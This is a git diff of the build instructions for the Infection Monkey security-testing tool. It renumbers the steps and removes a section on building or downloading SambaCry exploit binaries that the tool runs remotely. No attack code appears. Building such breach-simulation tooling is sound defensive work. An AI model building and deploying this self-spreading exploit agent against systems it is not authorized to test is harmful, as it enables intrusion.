- 32bit: <https://aka.ms/vs/16/release/vc_redist.x86.exe>
|
||||
- 64bit: <https://go.microsoft.com/fwlink/?LinkId=746572>
|
||||
3. Download the dependent python packages using
|
||||
1. Download the dependent python packages using
|
||||
`pip install -r requirements.txt`
|
||||
4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
|
||||
1. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
|
||||
<https://github.com/upx/upx/releases/download/v3.94/upx394w.zip>
|
||||
5. Build/Download Sambacry
|
||||
- Build/Download according to sections at the end of this readme.
|
||||
- Place the binaries under monkey\infection_monkey\bin
|
||||
6. To build the final exe:
|
||||
1. To build the final exe:
|
||||
- `cd monkey\infection_monkey`
|
||||
- `build_windows.bat`
|
||||
- output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python
|
||||
|
@ -37,7 +31,7 @@ The monkey is composed of three separate parts.
|
|||
## Linux
|
||||
|
||||
Tested on Ubuntu 16.04.
|
||||
0. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa:
|
||||
1. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa:
|
||||
- `sudo add-apt-repository ppa:deadsnakes/ppa`
|
||||
- `sudo apt-get update`
|
||||
- `sudo apt install python3.7`
|
||||
|
@ -47,37 +41,18 @@ Tested on Ubuntu 16.04.
|
|||
- `python3.7 -m pip install pip`
|
||||
- `sudo apt-get install python3.7-dev libffi-dev upx libssl-dev libc++1`
|
||||
|
||||
2. Install the python packages listed in requirements.txt using pip
|
||||
1. Install the python packages listed in requirements.txt using pip
|
||||
- `cd [code location]/infection_monkey`
|
||||
- `python3.7 -m pipenv lock -r --dev > requirements.txt`
|
||||
- `python3.7 -m pip install -r requirements.txt`
|
||||
|
||||
3. Build Sambacry binaries
|
||||
- Build/Download according to sections at the end of this readme.
|
||||
- Place the binaries under [code location]/infection_monkey/bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so'
|
||||
|
||||
4. To build, run in terminal:
|
||||
1. To build, run in terminal:
|
||||
- `cd [code location]/infection_monkey`
|
||||
- `chmod +x build_linux.sh`
|
||||
- `pipenv run ./build_linux.sh`
|
||||
|
||||
output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python
|
||||
|
||||
### Sambacry
|
||||
|
||||
Sambacry requires two standalone binaries to execute remotely.
|
||||
|
||||
1. Build sambacry binaries yourself
|
||||
- Install gcc-multilib if it's not installed `sudo apt-get install gcc-multilib`
|
||||
- Build the binaries
|
||||
1. `cd [code location]/infection_monkey/exploit/sambacry_monkey_runner`
|
||||
2. `./build.sh`
|
||||
|
||||
2. Download our pre-built sambacry binaries
|
||||
- Available here:
|
||||
- 32bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so>
|
||||
- 64bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so>
|
||||
|
||||
### Troubleshooting
|
||||
|
||||
Some of the possible errors that may come up while trying to build the infection monkey:
|
||||
|
|
Loading…
Reference in New Issue